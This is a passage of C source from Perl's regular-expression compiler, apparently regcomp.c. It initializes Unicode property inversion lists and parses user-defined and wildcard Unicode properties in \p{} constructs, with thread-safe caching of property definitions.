PL_Posix_ptrs[_CC_UPPER] = _new_invlist_C_array(uni_prop_ptrs[UNI_POSIXUPPER]); PL_Posix_ptrs[_CC_VERTSPACE] = NULL; PL_Posix_ptrs[_CC_WORDCHAR] = _new_invlist_C_array(uni_prop_ptrs[UNI_POSIXWORD]); PL_Posix_ptrs[_CC_XDIGIT] = _new_invlist_C_array(uni_prop_ptrs[UNI_POSIXXDIGIT]); PL_GCB_invlist = _new_invlist_C_array(_Perl_GCB_invlist); PL_SB_invlist = _new_invlist_C_array(_Perl_SB_invlist); PL_WB_invlist = _new_invlist_C_array(_Perl_WB_invlist); PL_LB_invlist = _new_invlist_C_array(_Perl_LB_invlist); PL_SCX_invlist = _new_invlist_C_array(_Perl_SCX_invlist); PL_AboveLatin1 = _new_invlist_C_array(AboveLatin1_invlist); PL_Latin1 = _new_invlist_C_array(Latin1_invlist); PL_UpperLatin1 = _new_invlist_C_array(UpperLatin1_invlist); PL_Assigned_invlist = _new_invlist_C_array(uni_prop_ptrs[UNI_ASSIGNED]); PL_utf8_perl_idstart = _new_invlist_C_array(uni_prop_ptrs[UNI__PERL_IDSTART]); PL_utf8_perl_idcont = _new_invlist_C_array(uni_prop_ptrs[UNI__PERL_IDCONT]); PL_utf8_charname_begin = _new_invlist_C_array(uni_prop_ptrs[UNI__PERL_CHARNAME_BEGIN]); PL_utf8_charname_continue = _new_invlist_C_array(uni_prop_ptrs[UNI__PERL_CHARNAME_CONTINUE]); PL_in_some_fold = _new_invlist_C_array(uni_prop_ptrs[UNI__PERL_ANY_FOLDS]); PL_HasMultiCharFold = _new_invlist_C_array(uni_prop_ptrs[ UNI__PERL_FOLDS_TO_MULTI_CHAR]); PL_InMultiCharFold = _new_invlist_C_array(uni_prop_ptrs[ UNI__PERL_IS_IN_MULTI_CHAR_FOLD]); PL_NonFinalFold = _new_invlist_C_array(uni_prop_ptrs[ UNI__PERL_NON_FINAL_FOLDS]); PL_utf8_toupper = _new_invlist_C_array(Uppercase_Mapping_invlist); PL_utf8_tolower = _new_invlist_C_array(Lowercase_Mapping_invlist); PL_utf8_totitle = _new_invlist_C_array(Titlecase_Mapping_invlist); PL_utf8_tofold = _new_invlist_C_array(Case_Folding_invlist); PL_utf8_tosimplefold = _new_invlist_C_array(Simple_Case_Folding_invlist); PL_utf8_foldclosures = _new_invlist_C_array(_Perl_IVCF_invlist); PL_utf8_mark = _new_invlist_C_array(uni_prop_ptrs[UNI_M]); PL_CCC_non0_non230 = _new_invlist_C_array(_Perl_CCC_non0_non230_invlist); PL_Private_Use = _new_invlist_C_array(uni_prop_ptrs[UNI_CO]); #ifdef UNI_XIDC /* The below are used only by deprecated functions. They could be removed */ PL_utf8_xidcont = _new_invlist_C_array(uni_prop_ptrs[UNI_XIDC]); PL_utf8_idcont = _new_invlist_C_array(uni_prop_ptrs[UNI_IDC]); PL_utf8_xidstart = _new_invlist_C_array(uni_prop_ptrs[UNI_XIDS]); #endif } #if 0 This code was mainly added for backcompat to give a warning for non-portable code points in user-defined properties. But experiments showed that the warning in earlier perls were only omitted on overflow, which should be an error, so there really isnt a backcompat issue, and actually adding the warning when none was present before might cause breakage, for little gain. So khw left this code in, but not enabled. Tests were never added. embed.fnc entry: Ei |const char *|get_extended_utf8_msg|const UV cp PERL_STATIC_INLINE const char * S_get_extended_utf8_msg(pTHX_ const UV cp) { U8 dummy[UTF8_MAXBYTES + 1]; HV *msgs; SV **msg; uvchr_to_utf8_flags_msgs(dummy, cp, UNICODE_WARN_PERL_EXTENDED, &msgs); msg = hv_fetchs(msgs, "text", 0); assert(msg); (void) sv_2mortal((SV *) msgs); return SvPVX(*msg); } #endif SV * Perl_handle_user_defined_property(pTHX_ /* Parses the contents of a user-defined property definition; returning the * expanded definition if possible. If so, the return is an inversion * list. * * If there are subroutines that are part of the expansion and which aren't * known at the time of the call to this function, this returns what * parse_uniprop_string() returned for the first one encountered. * * If an error was found, NULL is returned, and 'msg' gets a suitable * message appended to it. (Appending allows the back trace of how we got * to the faulty definition to be displayed through nested calls of * user-defined subs.) * * The caller IS responsible for freeing any returned SV. * * The syntax of the contents is pretty much described in perlunicode.pod, * but we also allow comments on each line */ const char * name, /* Name of property */ const STRLEN name_len, /* The name's length in bytes */ const bool is_utf8, /* ? Is 'name' encoded in UTF-8 */ const bool to_fold, /* ? Is this under /i */ const bool runtime, /* ? Are we in compile- or run-time */ const bool deferrable, /* Is it ok for this property's full definition to be deferred until later? */ SV* contents, /* The property's definition */ bool *user_defined_ptr, /* This will be set TRUE as we wouldn't be getting called unless this is thought to be a user-defined property */ SV * msg, /* Any error or warning msg(s) are appended to this */ const STRLEN level) /* Recursion level of this call */ { STRLEN len; const char * string = SvPV_const(contents, len); const char * const e = string + len; const bool is_contents_utf8 = cBOOL(SvUTF8(contents)); const STRLEN msgs_length_on_entry = SvCUR(msg); const char * s0 = string; /* Points to first byte in the current line being parsed in 'string' */ const char overflow_msg[] = "Code point too large in \""; SV* running_definition = NULL; PERL_ARGS_ASSERT_HANDLE_USER_DEFINED_PROPERTY; *user_defined_ptr = TRUE; /* Look at each line */ while (s0 < e) { const char * s; /* Current byte */ char op = '+'; /* Default operation is 'union' */ IV min = 0; /* range begin code point */ IV max = -1; /* and range end */ SV* this_definition; /* Skip comment lines */ if (*s0 == '#') { s0 = strchr(s0, '\n'); if (s0 == NULL) { break; } s0++; continue; } /* For backcompat, allow an empty first line */ if (*s0 == '\n') { s0++; continue; } /* First character in the line may optionally be the operation */ if ( *s0 == '+' || *s0 == '!' || *s0 == '-' || *s0 == '&') { op = *s0++; } /* If the line is one or two hex digits separated by blank space, its * a range; otherwise it is either another user-defined property or an * error */ s = s0; if (! isXDIGIT(*s)) { goto check_if_property; } do { /* Each new hex digit will add 4 bits. */ if (min > ( (IV) MAX_LEGAL_CP >> 4)) { s = strchr(s, '\n'); if (s == NULL) { s = e; } if (SvCUR(msg) > 0) sv_catpvs(msg, "; "); sv_catpv(msg, overflow_msg); Perl_sv_catpvf(aTHX_ msg, "%" UTF8f, UTF8fARG(is_contents_utf8, s - s0, s0)); sv_catpvs(msg, "\""); goto return_failure; } /* Accumulate this digit into the value */ min = (min << 4) + READ_XDIGIT(s); } while (isXDIGIT(*s)); while (isBLANK(*s)) { s++; } /* We allow comments at the end of the line */ if (*s == '#') { s = strchr(s, '\n'); if (s == NULL) { s = e; } s++; } else if (s < e && *s != '\n') { if (! isXDIGIT(*s)) { goto check_if_property; } /* Look for the high point of the range */ max = 0; do { if (max > ( (IV) MAX_LEGAL_CP >> 4)) { s = strchr(s, '\n'); if (s == NULL) { s = e; } if (SvCUR(msg) > 0) sv_catpvs(msg, "; "); sv_catpv(msg, overflow_msg); Perl_sv_catpvf(aTHX_ msg, "%" UTF8f, UTF8fARG(is_contents_utf8, s - s0, s0)); sv_catpvs(msg, "\""); goto return_failure; } max = (max << 4) + READ_XDIGIT(s); } while (isXDIGIT(*s)); while (isBLANK(*s)) { s++; } if (*s == '#') { s = strchr(s, '\n'); if (s == NULL) { s = e; } } else if (s < e && *s != '\n') { goto check_if_property; } } if (max == -1) { /* The line only had one entry */ max = min; } else if (max < min) { if (SvCUR(msg) > 0) sv_catpvs(msg, "; "); sv_catpvs(msg, "Illegal range in \""); Perl_sv_catpvf(aTHX_ msg, "%" UTF8f, UTF8fARG(is_contents_utf8, s - s0, s0)); sv_catpvs(msg, "\""); goto return_failure; } #if 0 /* See explanation at definition above of get_extended_utf8_msg() */ if ( UNICODE_IS_PERL_EXTENDED(min) || UNICODE_IS_PERL_EXTENDED(max)) { if (SvCUR(msg) > 0) sv_catpvs(msg, "; "); /* If both code points are non-portable, warn only on the lower * one. */ sv_catpv(msg, get_extended_utf8_msg( (UNICODE_IS_PERL_EXTENDED(min)) ? min : max)); sv_catpvs(msg, " in \""); Perl_sv_catpvf(aTHX_ msg, "%" UTF8f, UTF8fARG(is_contents_utf8, s - s0, s0)); sv_catpvs(msg, "\""); } #endif /* Here, this line contains a legal range */ this_definition = sv_2mortal(_new_invlist(2)); this_definition = _add_range_to_invlist(this_definition, min, max); goto calculate; check_if_property: /* Here it isn't a legal range line. See if it is a legal property * line. First find the end of the meat of the line */ s = strpbrk(s, "#\n"); if (s == NULL) { s = e; } /* Ignore trailing blanks in keeping with the requirements of * parse_uniprop_string() */ s--; while (s > s0 && isBLANK_A(*s)) { s--; } s++; this_definition = parse_uniprop_string(s0, s - s0, is_utf8, to_fold, runtime, deferrable, user_defined_ptr, msg, (name_len == 0) ? level /* Don't increase level if input is empty */ : level + 1 ); if (this_definition == NULL) { goto return_failure; /* 'msg' should have had the reason appended to it by the above call */ } if (! is_invlist(this_definition)) { /* Unknown at this time */ return newSVsv(this_definition); } if (*s != '\n') { s = strchr(s, '\n'); if (s == NULL) { s = e; } } calculate: switch (op) { case '+': _invlist_union(running_definition, this_definition, &running_definition); break; case '-': _invlist_subtract(running_definition, this_definition, &running_definition); break; case '&': _invlist_intersection(running_definition, this_definition, &running_definition); break; case '!': _invlist_union_complement_2nd(running_definition, this_definition, &running_definition); break; default: Perl_croak(aTHX_ "panic: %s: %d: Unexpected operation %d", __FILE__, __LINE__, op); break; } /* Position past the '\n' */ s0 = s + 1; } /* End of loop through the lines of 'contents' */ /* Here, we processed all the lines in 'contents' without error. If we * didn't add any warnings, simply return success */ if (msgs_length_on_entry == SvCUR(msg)) { /* If the expansion was empty, the answer isn't nothing: its an empty * inversion list */ if (running_definition == NULL) { running_definition = _new_invlist(1); } return running_definition; } /* Otherwise, add some explanatory text, but we will return success */ goto return_msg; return_failure: running_definition = NULL; return_msg: if (name_len > 0) { sv_catpvs(msg, " in expansion of "); Perl_sv_catpvf(aTHX_ msg, "%" UTF8f, UTF8fARG(is_utf8, name_len, name)); } return running_definition; } /* As explained below, certain operations need to take place in the first * thread created. These macros switch contexts */ #ifdef USE_ITHREADS # define DECLARATION_FOR_GLOBAL_CONTEXT \ PerlInterpreter * save_aTHX = aTHX; # define SWITCH_TO_GLOBAL_CONTEXT \ PERL_SET_CONTEXT((aTHX = PL_user_def_props_aTHX)) # define RESTORE_CONTEXT PERL_SET_CONTEXT((aTHX = save_aTHX)); # define CUR_CONTEXT aTHX # define ORIGINAL_CONTEXT save_aTHX #else # define DECLARATION_FOR_GLOBAL_CONTEXT # define SWITCH_TO_GLOBAL_CONTEXT NOOP # define RESTORE_CONTEXT NOOP # define CUR_CONTEXT NULL # define ORIGINAL_CONTEXT NULL #endif STATIC void S_delete_recursion_entry(pTHX_ void *key) { /* Deletes the entry used to detect recursion when expanding user-defined * properties. This is a function so it can be set up to be called even if * the program unexpectedly quits */ dVAR; SV ** current_entry; const STRLEN key_len = strlen((const char *) key); DECLARATION_FOR_GLOBAL_CONTEXT; SWITCH_TO_GLOBAL_CONTEXT; /* If the entry is one of these types, it is a permanent entry, and not the * one used to detect recursions. This function should delete only the * recursion entry */ current_entry = hv_fetch(PL_user_def_props, (const char *) key, key_len, 0); if ( current_entry && ! is_invlist(*current_entry) && ! SvPOK(*current_entry)) { (void) hv_delete(PL_user_def_props, (const char *) key, key_len, G_DISCARD); } RESTORE_CONTEXT; } STATIC SV * S_get_fq_name(pTHX_ const char * const name, /* The first non-blank in the \p{}, \P{} */ const Size_t name_len, /* Its length in bytes, not including any trailing space */ const bool is_utf8, /* ? Is 'name' encoded in UTF-8 */ const bool has_colon_colon ) { /* Returns a mortal SV containing the fully qualified version of the input * name */ SV * fq_name; fq_name = newSVpvs_flags("", SVs_TEMP); /* Use the current package if it wasn't included in our input */ if (! has_colon_colon) { const HV * pkg = (IN_PERL_COMPILETIME) ? PL_curstash : CopSTASH(PL_curcop); const char* pkgname = HvNAME(pkg); Perl_sv_catpvf(aTHX_ fq_name, "%" UTF8f, UTF8fARG(is_utf8, strlen(pkgname), pkgname)); sv_catpvs(fq_name, "::"); } Perl_sv_catpvf(aTHX_ fq_name, "%" UTF8f, UTF8fARG(is_utf8, name_len, name)); return fq_name; } SV * Perl_parse_uniprop_string(pTHX_ /* Parse the interior of a \p{}, \P{}. Returns its definition if knowable * now. If so, the return is an inversion list. * * If the property is user-defined, it is a subroutine, which in turn * may call other subroutines. This function will call the whole nest of * them to get the definition they return; if some aren't known at the time * of the call to this function, the fully qualified name of the highest * level sub is returned. It is an error to call this function at runtime * without every sub defined. * * If an error was found, NULL is returned, and 'msg' gets a suitable * message appended to it. (Appending allows the back trace of how we got * to the faulty definition to be displayed through nested calls of * user-defined subs.) * * The caller should NOT try to free any returned inversion list. * * Other parameters will be set on return as described below */ const char * const name, /* The first non-blank in the \p{}, \P{} */ const Size_t name_len, /* Its length in bytes, not including any trailing space */ const bool is_utf8, /* ? Is 'name' encoded in UTF-8 */ const bool to_fold, /* ? Is this under /i */ const bool runtime, /* TRUE if this is being called at run time */ const bool deferrable, /* TRUE if it's ok for the definition to not be known at this call */ bool *user_defined_ptr, /* Upon return from this function it will be set to TRUE if any component is a user-defined property */ SV * msg, /* Any error or warning msg(s) are appended to this */ const STRLEN level) /* Recursion level of this call */ { dVAR; char* lookup_name; /* normalized name for lookup in our tables */ unsigned lookup_len; /* Its length */ bool stricter = FALSE; /* Some properties have stricter name normalization rules, which we decide upon based on parsing */ /* nv= or numeric_value=, or possibly one of the cjk numeric properties * (though it requires extra effort to download them from Unicode and * compile perl to know about them) */ bool is_nv_type = FALSE; unsigned int i, j = 0; int equals_pos = -1; /* Where the '=' is found, or negative if none */ int slash_pos = -1; /* Where the '/' is found, or negative if none */ int table_index = 0; /* The entry number for this property in the table of all Unicode property names */ bool starts_with_In_or_Is = FALSE; /* ? Does the name start with 'In' or 'Is' */ Size_t lookup_offset = 0; /* Used to ignore the first few characters of the normalized name in certain situations */ Size_t non_pkg_begin = 0; /* Offset of first byte in 'name' that isn't part of a package name */ bool could_be_user_defined = TRUE; /* ? Could this be a user-defined property rather than a Unicode one. */ SV * prop_definition = NULL; /* The returned definition of 'name' or NULL if an error. If it is an inversion list, it is the definition. Otherwise it is a string containing the fully qualified sub name of 'name' */ SV * fq_name = NULL; /* For user-defined properties, the fully qualified name */ bool invert_return = FALSE; /* ? Do we need to complement the result before returning it */ PERL_ARGS_ASSERT_PARSE_UNIPROP_STRING; /* The input will be normalized into 'lookup_name' */ Newx(lookup_name, name_len, char); SAVEFREEPV(lookup_name); /* Parse the input. */ for (i = 0; i < name_len; i++) { char cur = name[i]; /* Most of the characters in the input will be of this ilk, being parts * of a name */ if (isIDCONT_A(cur)) { /* Case differences are ignored. Our lookup routine assumes * everything is lowercase, so normalize to that */ if (isUPPER_A(cur)) { lookup_name[j++] = toLOWER_A(cur); continue; } if (cur == '_') { /* Don't include these in the normalized name */ continue; } lookup_name[j++] = cur; /* The first character in a user-defined name must be of this type. * */ if (i - non_pkg_begin == 0 && ! isIDFIRST_A(cur)) { could_be_user_defined = FALSE; } continue; } /* Here, the character is not something typically in a name, But these * two types of characters (and the '_' above) can be freely ignored in * most situations. Later it may turn out we shouldn't have ignored * them, and we have to reparse, but we don't have enough information * yet to make that decision */ if (cur == '-' || isSPACE_A(cur)) { could_be_user_defined = FALSE; continue; } /* An equals sign or single colon mark the end of the first part of * the property name */ if ( cur == '=' || (cur == ':' && (i >= name_len - 1 || name[i+1] != ':'))) { lookup_name[j++] = '='; /* Treat the colon as an '=' */ equals_pos = j; /* Note where it occurred in the input */ could_be_user_defined = FALSE; break; } /* Otherwise, this character is part of the name. */ lookup_name[j++] = cur; /* Here it isn't a single colon, so if it is a colon, it must be a * double colon */ if (cur == ':') { /* A double colon should be a package qualifier. We note its * position and continue. Note that one could have * pkg1::pkg2::...::foo * so that the position at the end of the loop will be just after * the final qualifier */ i++; non_pkg_begin = i + 1; lookup_name[j++] = ':'; } else { /* Only word chars (and '::') can be in a user-defined name */ could_be_user_defined = FALSE; } } /* End of parsing through the lhs of the property name (or all of it if no rhs) */ #define STRLENs(s) (sizeof("" s "") - 1) /* If there is a single package name 'utf8::', it is ambiguous. It could * be for a user-defined property, or it could be a Unicode property, as * all of them are considered to be for that package. For the purposes of * parsing the rest of the property, strip it off */ if (non_pkg_begin == STRLENs("utf8::") && memBEGINPs(name, name_len, "utf8::")) { lookup_name += STRLENs("utf8::"); j -= STRLENs("utf8::"); equals_pos -= STRLENs("utf8::"); } /* Here, we are either done with the whole property name, if it was simple; * or are positioned just after the '=' if it is compound. */ if (equals_pos >= 0) { assert(! stricter); /* We shouldn't have set this yet */ /* Space immediately after the '=' is ignored */ i++; for (; i < name_len; i++) { if (! isSPACE_A(name[i])) { break; } } /* Most punctuation after the equals indicates a subpattern, like * \p{foo=/bar/} */ if ( isPUNCT_A(name[i]) && name[i] != '-' && name[i] != '+' && name[i] != '_' && name[i] != '{') { /* Find the property. The table includes the equals sign, so we * use 'j' as-is */ table_index = match_uniprop((U8 *) lookup_name, j); if (table_index) { const char * const * prop_values = UNI_prop_value_ptrs[table_index]; SV * subpattern; Size_t subpattern_len; REGEXP * subpattern_re; char open = name[i++]; char close; const char * pos_in_brackets; bool escaped = 0; /* A backslash means the real delimitter is the next character. * */ if (open == '\\') { open = name[i++]; escaped = 1; } /* This data structure is constructed so that the matching * closing bracket is 3 past its matching opening. The second * set of closing is so that if the opening is something like * ']', the closing will be that as well. Something similar is * done in toke.c */ pos_in_brackets = strchr("([<)]>)]>", open); close = (pos_in_brackets) ? pos_in_brackets[3] : open; if ( i >= name_len || name[name_len-1] != close || (escaped && name[name_len-2] != '\\')) { sv_catpvs(msg, "Unicode property wildcard not terminated"); goto append_name_to_msg; } Perl_ck_warner_d(aTHX_ packWARN(WARN_EXPERIMENTAL__UNIPROP_WILDCARDS), "The Unicode property wildcards feature is experimental"); /* Now create and compile the wildcard subpattern. Use /iaa * because nothing outside of ASCII will match, and it the * property values should all match /i. Note that when the * pattern fails to compile, our added text to the user's * pattern will be displayed to the user, which is not so * desirable. */ subpattern_len = name_len - i - 1 - escaped; subpattern = Perl_newSVpvf(aTHX_ "(?iaa:%.*s)", (unsigned) subpattern_len, name + i); subpattern = sv_2mortal(subpattern); subpattern_re = re_compile(subpattern, 0); assert(subpattern_re); /* Should have died if didn't compile successfully */ /* For each legal property value, see if the supplied pattern * matches it. */ while (*prop_values) { const char * const entry = *prop_values; const Size_t len = strlen(entry); SV* entry_sv = newSVpvn_flags(entry, len, SVs_TEMP); if (pregexec(subpattern_re, (char *) entry, (char *) entry + len, (char *) entry, 0, entry_sv, 0)) { /* Here, matched. Add to the returned list */ Size_t total_len = j + len; SV * sub_invlist = NULL; char * this_string; /* We know this is a legal \p{property=value}. Call * the function to return the list of code points that * match it */ Newxz(this_string, total_len + 1, char); Copy(lookup_name, this_string, j, char); my_strlcat(this_string, entry, total_len + 1); SAVEFREEPV(this_string); sub_invlist = parse_uniprop_string(this_string, total_len, is_utf8, to_fold, runtime, deferrable, user_defined_ptr, msg, level + 1); _invlist_union(prop_definition, sub_invlist, &prop_definition); } prop_values++; /* Next iteration, look at next propvalue */ } /* End of looking through property values; (the data structure is terminated by a NULL ptr) */ SvREFCNT_dec_NN(subpattern_re); if (prop_definition) { return prop_definition; } sv_catpvs(msg, "No Unicode property value wildcard matches:"); goto append_name_to_msg; } /* Here's how khw thinks we should proceed to handle the properties * not yet done: Bidi Mirroring Glyph Bidi Paired Bracket Case Folding (both full and simple) Decomposition Mapping Equivalent Unified Ideograph Name Name Alias Lowercase Mapping (both full and simple) NFKC Case Fold Titlecase Mapping (both full and simple) Uppercase Mapping (both full and simple) * Move the part that looks at the property values into a perl * script, like utf8_heavy.pl is done. This makes things somewhat * easier, but most importantly, it avoids always adding all these * strings to the memory usage when the feature is little-used. * * The property values would all be concatenated into a single * string per property with each value on a separate line, and the * code point it's for on alternating lines. Then we match the * user's input pattern m//mg, without having to worry about their * uses of '^' and '$'. Only the values that aren't the default * would be in the strings. Code points would be in UTF-8. The * search pattern that we would construct would look like * (?: \n (code-point_re) \n (?aam: user-re ) \n ) * And so $1 would contain the code point that matched the user-re. * For properties where the default is the code point itself, such * as any of the case changing mappings, the string would otherwise * consist of all Unicode code points in UTF-8 strung together. * This would be impractical. So instead, examine their compiled * pattern, looking at the ssc. If none, reject the pattern as an * error. Otherwise run the pattern against every code point in * the ssc. The ssc is kind of like tr18's 3.9 Possible Match Sets * And it might be good to create an API to return the ssc. * * For the name properties, a new function could be created in * charnames which essentially does the same thing as above, * sharing Name.pl with the other charname functions. Don't know * about loose name matching, or algorithmically determined names. * Decomposition.pl similarly. * * It might be that a new pattern modifier would have to be * created, like /t for resTricTed, which changed the behavior of * some constructs in their subpattern, like \A. */ } /* End of is a wildcard subppattern */ /* Certain properties whose values are numeric need special handling. * They may optionally be prefixed by 'is'. Ignore that prefix for the * purposes of checking if this is one of those properties */ if (memBEGINPs(lookup_name, j, "is")) { lookup_offset = 2; } /* Then check if it is one of these specially-handled properties. The * possibilities are hard-coded because easier this way, and the list * is unlikely to change. * * All numeric value type properties are of this ilk, and are also * special in a different way later on. So find those first. There * are several numeric value type properties in the Unihan DB (which is * unlikely to be compiled with perl, but we handle it here in case it * does get compiled). They all end with 'numeric'. The interiors * aren't checked for the precise property. This would stop working if * a cjk property were to be created that ended with 'numeric' and * wasn't a numeric type */ is_nv_type = memEQs(lookup_name + lookup_offset, j - 1 - lookup_offset, "numericvalue") || memEQs(lookup_name + lookup_offset, j - 1 - lookup_offset, "nv") || ( memENDPs(lookup_name + lookup_offset, j - 1 - lookup_offset, "numeric") && ( memBEGINPs(lookup_name + lookup_offset, j - 1 - lookup_offset, "cjk") || memBEGINPs(lookup_name + lookup_offset, j - 1 - lookup_offset, "k"))); if ( is_nv_type || memEQs(lookup_name + lookup_offset, j - 1 - lookup_offset, "canonicalcombiningclass") || memEQs(lookup_name + lookup_offset, j - 1 - lookup_offset, "ccc") || memEQs(lookup_name + lookup_offset, j - 1 - lookup_offset, "age") || memEQs(lookup_name + lookup_offset, j - 1 - lookup_offset, "in") || memEQs(lookup_name + lookup_offset, j - 1 - lookup_offset, "presentin")) { unsigned int k; /* Since the stuff after the '=' is a number, we can't throw away * '-' willy-nilly, as those could be a minus sign. Other stricter * rules also apply. However, these properties all can have the * rhs not be a number, in which case they contain at least one * alphabetic. In those cases, the stricter rules don't apply. * But the numeric type properties can have the alphas [Ee] to * signify an exponent, and it is still a number with stricter * rules. So look for an alpha that signifies not-strict */ stricter = TRUE; for (k = i; k < name_len; k++) { if ( isALPHA_A(name[k]) && (! is_nv_type || ! isALPHA_FOLD_EQ(name[k], 'E'))) { stricter = FALSE; break; } } } if (stricter) { /* A number may have a leading '+' or '-'. The latter is retained * */ if (name[i] == '+') { i++; } else if (name[i] == '-') { lookup_name[j++] = '-'; i++; } /* Skip leading zeros including single underscores separating the * zeros, or between the final leading zero and the first other * digit */ for (; i < name_len - 1; i++) { if ( name[i] != '0' && (name[i] != '_' || ! isDIGIT_A(name[i+1]))) { break; } } } } else { /* No '=' */ /* Only a few properties without an '=' should be parsed with stricter * rules. The list is unlikely to change. */ if ( memBEGINPs(lookup_name, j, "perl") && memNEs(lookup_name + 4, j - 4, "space") && memNEs(lookup_name + 4, j - 4, "word")) { stricter = TRUE; /* We set the inputs back to 0 and the code below will reparse, * using strict */ i = j = 0; } } /* Here, we have either finished the property, or are positioned to parse * the remainder, and we know if stricter rules apply. Finish out, if not * already done */ for (; i < name_len; i++) { char cur = name[i]; /* In all instances, case differences are ignored, and we normalize to * lowercase */ if (isUPPER_A(cur)) { lookup_name[j++] = toLOWER(cur); continue; } /* An underscore is skipped, but not under strict rules unless it * separates two digits */ if (cur == '_') { if ( stricter && ( i == 0 || (int) i == equals_pos || i == name_len- 1 || ! isDIGIT_A(name[i-1]) || ! isDIGIT_A(name[i+1]))) { lookup_name[j++] = '_'; } continue; } /* Hyphens are skipped except under strict */ if (cur == '-' && ! stricter) { continue; } /* XXX Bug in documentation. It says white space skipped adjacent to * non-word char. Maybe we should, but shouldn't skip it next to a dot * in a number */ if (isSPACE_A(cur) && ! stricter) { continue; } lookup_name[j++] = cur; /* Unless this is a non-trailing slash, we are done with it */ if (i >= name_len - 1 || cur != '/') { continue; } slash_pos = j; /* A slash in the 'numeric value' property indicates that what follows * is a denominator. It can have a leading '+' and '0's that should be * skipped. But we have never allowed a negative denominator, so treat * a minus like every other character. (No need to rule out a second * '/', as that won't match anything anyway */ if (is_nv_type) { i++; if (i < name_len && name[i] == '+') { i++; } /* Skip leading zeros including underscores separating digits */ for (; i < name_len - 1; i++) { if ( name[i] != '0' && (name[i] != '_' || ! isDIGIT_A(name[i+1]))) { break; } } /* Store the first real character in the denominator */ lookup_name[j++] = name[i]; } } /* Here are completely done parsing the input 'name', and 'lookup_name' * contains a copy, normalized. * * This special case is grandfathered in: 'L_' and 'GC=L_' are accepted and * different from without the underscores. */ if ( ( UNLIKELY(memEQs(lookup_name, j, "l")) || UNLIKELY(memEQs(lookup_name, j, "gc=l"))) && UNLIKELY(name[name_len-1] == '_')) { lookup_name[j++] = '&'; } /* If the original input began with 'In' or 'Is', it could be a subroutine * call to a user-defined property instead of a Unicode property name. */ if ( non_pkg_begin + name_len > 2 && name[non_pkg_begin+0] == 'I' && (name[non_pkg_begin+1] == 'n' || name[non_pkg_begin+1] == 's')) { starts_with_In_or_Is = TRUE; } else { could_be_user_defined = FALSE; } if (could_be_user_defined) { CV* user_sub; /* If the user defined property returns the empty string, it could * easily be because the pattern is being compiled before the data it * actually needs to compile is available. This could be argued to be * a bug in the perl code, but this is a change of behavior for Perl, * so we handle it. This means that intentionally returning nothing * will not be resolved until runtime */ bool empty_return = FALSE; /* Here, the name could be for a user defined property, which are * implemented as subs. */ user_sub = get_cvn_flags(name, name_len, 0); if (user_sub) { const char insecure[] = "Insecure user-defined property"; /* Here, there is a sub by the correct name. Normally we call it * to get the property definition */ dSP; SV * user_sub_sv = MUTABLE_SV(user_sub); SV * error; /* Any error returned by calling 'user_sub' */ SV * key; /* The key into the hash of user defined sub names */ SV * placeholder; SV ** saved_user_prop_ptr; /* Hash entry for this property */ /* How many times to retry when another thread is in the middle of * expanding the same definition we want */ PERL_INT_FAST8_T retry_countdown = 10; DECLARATION_FOR_GLOBAL_CONTEXT; /* If we get here, we know this property is user-defined */ *user_defined_ptr = TRUE; /* We refuse to call a potentially tainted subroutine; returning an * error instead */ if (TAINT_get) { if (SvCUR(msg) > 0) sv_catpvs(msg, "; "); sv_catpvn(msg, insecure, sizeof(insecure) - 1); goto append_name_to_msg; } /* In principal, we only call each subroutine property definition * once during the life of the program. This guarantees that the * property definition never changes. The results of the single * sub call are stored in a hash, which is used instead for future * references to this property. The property definition is thus * immutable. But, to allow the user to have a /i-dependent * definition, we call the sub once for non-/i, and once for /i, * should the need arise, passing the /i status as a parameter. * * We start by constructing the hash key name, consisting of the * fully qualified subroutine name, preceded by the /i status, so * that there is a key for /i and a different key for non-/i */ key = newSVpvn(((to_fold) ? "1" : "0"), 1); fq_name = S_get_fq_name(aTHX_ name, name_len, is_utf8, non_pkg_begin != 0); sv_catsv(key, fq_name); sv_2mortal(key); /* We only call the sub once throughout the life of the program * (with the /i, non-/i exception noted above). That means the * hash must be global and accessible to all threads. It is * created at program start-up, before any threads are created, so * is accessible to all children. But this creates some * complications. * * 1) The keys can't be shared, or else problems arise; sharing is * turned off at hash creation time * 2) All SVs in it are there for the remainder of the life of the * program, and must be created in the same interpreter context * as the hash, or else they will be freed from the wrong pool * at global destruction time. This is handled by switching to * the hash's context to create each SV going into it, and then * immediately switching back * 3) All accesses to the hash must be controlled by a mutex, to * prevent two threads from getting an unstable state should * they simultaneously be accessing it. The code below is * crafted so that the mutex is locked whenever there is an * access and unlocked only when the next stable state is * achieved. * * The hash stores either the definition of the property if it was * valid, or, if invalid, the error message that was raised. We * use the type of SV to distinguish. * * There's also the need to guard against the definition expansion * from infinitely recursing. This is handled by storing the aTHX * of the expanding thread during the expansion. Again the SV type * is used to distinguish this from the other two cases. If we * come to here and the hash entry for this property is our aTHX, * it means we have recursed, and the code assumes that we would * infinitely recurse, so instead stops and raises an error. * (Any recursion has always been treated as infinite recursion in * this feature.) * * If instead, the entry is for a different aTHX, it means that * that thread has gotten here first, and hasn't finished expanding * the definition yet. We just have to wait until it is done. We * sleep and retry a few times, returning an error if the other * thread doesn't complete. */ re_fetch: USER_PROP_MUTEX_LOCK; /* If we have an entry for this key, the subroutine has already * been called once with this /i status. */ saved_user_prop_ptr = hv_fetch(PL_user_def_props, SvPVX(key), SvCUR(key), 0); if (saved_user_prop_ptr) { /* If the saved result is an inversion list, it is the valid * definition of this property */ if (is_invlist(*saved_user_prop_ptr)) { prop_definition = *saved_user_prop_ptr; /* The SV in the hash won't be removed until global * destruction, so it is stable and we can unlock */ USER_PROP_MUTEX_UNLOCK; /* The caller shouldn't try to free this SV */ return prop_definition; } /* Otherwise, if it is a string, it is the error message * that was returned when we first tried to evaluate this * property. Fail, and append the message */ if (SvPOK(*saved_user_prop_ptr)) { if (SvCUR(msg) > 0) sv_catpvs(msg, "; "); sv_catsv(msg, *saved_user_prop_ptr); /* The SV in the hash won't be removed until global * destruction, so it is stable and we can unlock */ USER_PROP_MUTEX_UNLOCK; return NULL; } assert(SvIOK(*saved_user_prop_ptr)); /* Here, we have an unstable entry in the hash. Either another * thread is in the middle of expanding the property's * definition, or we are ourselves recursing. We use the aTHX * in it to distinguish */ if (SvIV(*saved_user_prop_ptr) != PTR2IV(CUR_CONTEXT)) { /* Here, it's another thread doing the expanding. We've * looked as much as we are going to at the contents of the * hash entry. It's safe to unlock. */ USER_PROP_MUTEX_UNLOCK; /* Retry a few times */ if (retry_countdown-- > 0) { PerlProc_sleep(1); goto re_fetch; } if (SvCUR(msg) > 0) sv_catpvs(msg, "; "); sv_catpvs(msg, "Timeout waiting for another thread to " 